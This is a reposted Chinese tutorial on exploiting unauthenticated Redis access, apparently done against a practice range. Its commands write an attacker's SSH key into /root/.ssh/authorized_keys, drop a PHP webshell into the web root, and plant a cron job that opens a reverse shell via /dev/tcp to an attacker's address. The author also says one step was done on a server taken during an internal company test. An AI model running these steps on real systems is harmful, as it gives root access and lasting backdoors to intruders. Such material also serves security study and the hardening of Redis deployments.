Redis未授权访问

栏目: 数据库 · 发布时间: 5年前

内容简介:Redis默认配置未配置密码,如果Redis以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

Redis默认配置未配置密码,如果 Redis 以root用户运行,攻击者可以给root账号写入SSH公钥文件,直接通过SSH免密登录服务器。Redis默认端口为6379端口。若此端口未限制公网访问,会导致Redis服务暴露公网,造成未授权访问。

0x02 攻击手段

连接测试

已知网络靶场IP为219.153.49.228,Redis端 口为47234,提供了http端口为41481。使用redis客户端进行连接尝试:

./redis-cli -h 219.153.49.228 -p 47234

Redis未授权访问

本地生成公私钥

若Redis以root用户运行,可以直接将本地生成的公钥导入到/root/.ssh/authorized.keys文件中实现免密登录。

ssh-keygen -t rsa

Redis未授权访问

公钥写入

由于网络靶场写入/root/.ssh/的权限受限,因此以之前对公司内网测试获取的一台Redis服务器为例。

先将公钥写入文件:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > h.txt

Redis未授权访问

将h.txt的内容写入到redis服务器key为test对应的value中。

cat h.txt | /usr/redis/./redis-cli -h xxx.xxx.xxx.xxx -p 6389 -x set test

Redis未授权访问

设置redis的dbfilename路径为/root/.ssh/authorized_keys,并保存。

config set dir /root/.ssh

config set dbfilename authorized_keys

save

Redis未授权访问

直接使用ssh访问服务器查看权限和文件,可见为root权限用户。

Redis未授权访问

写入webshell

网络靶场写入/root/.ssh/的权限受限,且存在 php 站点,因此尝试写入webshell。

设置Redis备份目录为php站点目录:/var/www/html/,文件名任意。

Redis未授权访问

使用浏览器访问webshell,可以正常访问。

Redis未授权访问

写入定时任务

同理,将Redis备份目录改为/var/spool/cron,使用nc进行监听反弹shell。

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip_addr/port 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Linux程序设计

Linux程序设计

Neil Matthew、Richard Stones / 陈健、宋健建 / 人民邮电出版社 / 201005 / 99.00元

时至今日,Linux系统已经从一个个人作品发展为可以用于各种关键任务的成熟、高效和稳定的操作系统,因为具备跨平台、开源、支持众多应用软件和网络协议等优点,它得到了各大主流软硬件厂商的支持,也成为广大程序设计人员理想的开发平台。 本书是Linux程序设计领域的经典名著,以简单易懂、内容全面和示例丰富而受到广泛好评。中文版前两版出版后,在国内的Linux爱好者和程序员中也引起了强烈反响,这一热潮......一起来看看 《Linux程序设计》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

随机密码生成器
随机密码生成器

多种字符组合密码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具